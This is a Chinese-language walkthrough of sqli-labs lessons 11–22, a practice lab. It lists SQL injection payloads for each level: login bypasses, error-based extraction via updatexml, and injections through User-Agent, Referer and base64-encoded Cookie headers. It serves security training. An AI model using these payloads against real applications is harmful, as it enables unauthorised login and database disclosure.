sqli-labs sqli-labs => 备份地址
Page-1(Basic Challenges) Less-11
POST - Error Based - Single quotes - String
提交方式为POST
方式,直接构造post请求
。
uname=username&passwd=password'+or+true+--+&submit=Submit
或
uname=username&passwd=password'+or+true+--+&submit=Submit
都可,两处都可注入。
Less-12
POST - Error Based - Double quotes - String - with twist
多试几次,发现闭合方式不同,双引号与括号闭合("$id")
。
uname=username")+or+true+--+&passwd=password&submit=Submit
或
uname=username&passwd=password")+or+true+--+&submit=Submit
都可,两处都可注入。
Less-13
POST - Double Injection - Single quotes - String - with twist
闭合方式为('$password')
。
uname=username')+or+true+--+&passwd=password&submit=Submit
或
uname=username&passwd=password')+or+true+--+&submit=Submit
两处都可注入。
Less-14
POST - Double Injection - Double quotes - String - with twist
闭合方式为"$password"
。
uname=username"+or+true+--+&passwd=password&submit=Submit
或
uname=username&passwd=password"+or+true+--+&submit=Submit
两处都可注入。
Less-15
POST - Blind - Boolean/Time Based - Single quotes
uname=username'+or+true+--+&passwd=password&submit=Submit
或
uname=username&passwd=password'+or+true+--+&submit=Submit
两处都可注入。
Less-16
POST - Blind - Boolean/Time Based - Double quotes
uname=username")+or+true+--+&passwd=password&submit=Submit
或
uname=username&passwd=password")+or+true+--+&submit=Submit
都可以注入。
Less-17
POST - Update Query - Error Based - String
这不是普通的select
语句,而是update
语句,可以利用0x01 中学到的updatexml()
,extractvalue()
报错来获取信息。
uname=Dumb&passwd=newpassword'+or+updatexml(1,concat(0x7e,database()),1)+or+'close&submit=Submit
即可成功注入,并获得了database()
信息。
Less-18
POST - Header Injection - Uagent field - Error based
需要注入HTTP头
,由于这次查询,先查询用户
/密码
是否存在,如果存在,将其
User-Agent
存入数据库中。
注入HTTP头
的User-Agent
属性。
1 2 3 4 5 6 7 POST /Less-18/ HTTP/1.1 Host : train.comUser-Agent : test' or updatexml(1,concat(0x7e, database()) ,1) or 'close... Upgrade-Insecure-Requests : 1uname = admin&passwd =admin&submit =Submit
Less-19
POST - Header Injection - Referer field - Error based
注入HTTP头
的Referer
属性,此属性是用来标识,请求来源于哪个URL
。
1 2 3 4 5 6 7 8 9 10 POST /Less-19/ HTTP/1.1 ... User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language : zh-CN,en-US;q=0.7,en;q=0.3... Referer : close' or updatexml(1,concat(0x7e, database()) ,1) or 'close... uname = admin&passwd =admin&submit =Submit
Less-20
POST - Cookie Injections - Uagent field - Error based
对HTTP头
的Cookie
属性进行注入。
1 2 3 4 5 6 7 POST /Less-20/ HTTP/1.1 Host : train.com... Cookie : uname=admin' or updatexml(1, concat(0x7e, database()),1) or 'close; ZDEDebuggerPresent=php,phtml,php3Upgrade-Insecure-Requests : 1uname = admin&passwd =admin&submit =Submit
跟隨redirection
,即可以看到结果。
Less-21
POST - Cookie Injections - Uagent field - Error based
与 Less-20 相同,但是观察到uname = YWRtaW4=
中是有=
存在的,联想到
BASE64
编码后,会出现=
补足编码。
使用base64
工具解码查看:
1 2 ~$ echo "YWRtaW4=" | base64 -d - admin
与请求内容吻合,因此构造好payload
后还需要进行BASE64
编码。
构造payload为admin' or updatexml(1, concat(0x7e, database()),1) or 'close
。
使用base64
工具编码:
1 2 ~$ echo "admin' or updatexml(1, concat(0x7e, database()),1) or 'close" | base64 - YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSksMSkgb3IgJ2Nsb3NlCg==
最终payload为:
1 2 3 4 GET /Less-21/index.php HTTP/1.1 ... Cookie : uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSksMSkgb3IgJ2Nsb3NlCg%3d%3d; ZDEDebuggerPresent=php,phtml,php3Upgrade-Insecure-Requests : 1
Less-22
POST - Cookie Injections - Uagent field - Error based
与 Less-21 相比,闭合方式为"
,其他相同。